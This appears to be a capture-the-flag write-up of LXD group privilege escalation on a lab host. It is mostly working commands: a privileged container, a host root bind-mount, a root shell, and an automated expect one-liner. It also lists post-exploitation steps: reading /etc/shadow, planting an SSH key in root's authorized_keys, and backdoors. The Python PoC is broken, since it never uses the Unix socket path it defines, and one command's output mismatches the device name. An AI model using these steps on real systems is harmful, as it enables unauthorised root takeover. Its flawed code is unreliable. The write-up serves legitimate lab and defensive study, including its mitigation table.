Post

LXD Group Privilege Escalation - CTF Writeup (lxddd)

  • Target: 172.31.29.235
  • User: user / user
  • Category: Linux Privilege Escalation
  • Vulnerability: LXD group membership (lxd)

1. Summary

A non-privileged user belonging to the lxd Unix group can interact with the local LXD daemon (which runs as root). By creating a privileged container with the host filesystem bind-mounted inside it, the attacker gains root access to the entire host.


Walkthrough Step

2. Enumeration

SSH into the target and enumerate group memberships and LXD availability.

1
2
3
4
5
6
7
ssh user@172.31.29.235 
# Password: user 

id 
# uid=1004(user) gid=1005(user) groups=1005(user),997(lxd) 

snap run lxd.lxc image list 

Output:

1
2
3
4
5
+----------+--------------+--------+-----------------------------------+--------------+-----------+---------+------------------------------+ 
| ALIAS | FINGERPRINT | PUBLIC | DESCRIPTION | ARCHITECTURE | TYPE | SIZE | UPLOAD DATE | 
+----------+--------------+--------+-----------------------------------+--------------+-----------+---------+------------------------------+ 
| myalpine | 7d9d520016d7 | no | Alpine 3.21 amd64 (20260513_0119) | x86_64 | CONTAINER | 3.09MiB | May 13, 2026 at 9:47am (UTC) | 
+----------+--------------+--------+-----------------------------------+--------------+-----------+---------+------------------------------+ 
1
snap run lxd.lxc list 

Screenshot

Output:

1
2
3
4
5
+------------------+---------+------+------+-----------+-----------+ 
| NAME | STATE | IPV4 | IPV6 | TYPE | SNAPSHOTS | 
+------------------+---------+------+------+-----------+-----------+ 
| welcomed-gazelle | RUNNING | ... | ... | CONTAINER | 0 | 
+------------------+---------+------+------+-----------+-----------+ 

Key findings:

  • User is in the lxd group (GID 997)
  • LXD is installed via snap (lxd snap v6.7)
  • An Alpine 3.21 image (myalpine) already exists
  • A container (welcomed-gazelle) is already running

Walkthrough Step

3. Exploitation

Walkthrough Step

Step 1 — Initialize a privileged container

Create a container with security.privileged=true. This disables UID/GID mapping so the container runs as real root on the host.

1
2
snap run lxd.lxc init myalpine privesc -c security.privileged=true
# Creating privesc 

Walkthrough Step

Step 2 — Bind-mount the host root filesystem

Add a disk device that maps the host / into the container at /mnt/host.

1
2
snap run lxd.lxc config device add privesc hostroot disk source=/ path=/mnt/host
# Device host-root added to privesc 

Walkthrough Step

Step 3 — Start the container

1
snap run lxd.lxc start privesc 

Verify it is running:

1
snap run lxd.lxc list privesc 

Step 4 — Execute shell inside the container as root

1
2
3
snap run lxd.lxc exec privesc -- /bin/sh 
id 
# uid=0(root) gid=0(root) 

At this point we are root inside the container, but since the host root is mounted at /mnt/host, we have full access to the host filesystem.


4. Flag Retrieval

1
2
cat /mnt/host/root/flag.txt
# ctf{GieY5xeegeija9neisaep7kox2coo8ye} 

Screenshot


5. Additional Post-Exploitation

With the host filesystem accessible, an attacker can:

  • Extract password hashes: cat /mnt/host/etc/shadow
  • Add SSH keys: cat ~/.ssh/id_rsa.pub >> /mnt/host/root/.ssh/authorized_keys
  • Install backdoors: chroot /mnt/host bash
  • Exfiltrate sensitive data

6. One-Liner PoC

For automation, the entire exploit can be run as:

1
expect -c ' set timeout 30 spawn ssh user@172.31.29.235 expect "password:" send "user\r" expect "$ " send "snap run lxd.lxc init myalpine privesc -c security.privileged=true\r" expect "$ " send "snap run lxd.lxc config device add privesc host-root disk source=/ path=/mnt/host\r" expect "$ " send "snap run lxd.lxc start privesc\r" expect "$ " send "snap run lxd.lxc exec privesc -- cat /mnt/host/root/flag.txt\r" expect "$ " send "exit\r" expect eof '

Or as a Python script using the LXD REST API directly:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import requests, json 
socket_path = "/var/snap/lxd/common/lxd/unix.socket"

# Create privileged container 
r = requests.post("http://localhost/1.0/containers", 
headers={"Content-Type": "application/json"}, 
data=json.dumps({ 
    "name": "privesc", 
    "source": {"type": "image", "alias": "myalpine"}, 
    "config": {"security.privileged": "true"}, 
    "devices": {"host-root": {"type": "disk", "source": "/", "path": "/mnt/host"}}
})) 

# Start it
requests.put("http://localhost/1.0/containers/privesc/state", 
data=json.dumps({"action": "start"})) 

7. Mitigation

To prevent this vulnerability:

MitigationDescription
Remove users from lxd groupOnly trusted admins should be in the lxd group
Use lxd ACLsRestrict who can access the LXD daemon via lxd config set core.trust_password
Audit group membershipPeriodically check /etc/group for sensitive group memberships
AppArmor/SELinuxEnforce mandatory access controls on LXD
Avoid privilege escalationDo not allow unprivileged users to create privileged containers

The root cause is that the lxd group grants effective root-equivalent access because the LXD daemon runs as root and trusts any member of the lxd group with full API access.


This post is licensed under CC BY 4.0 by the author.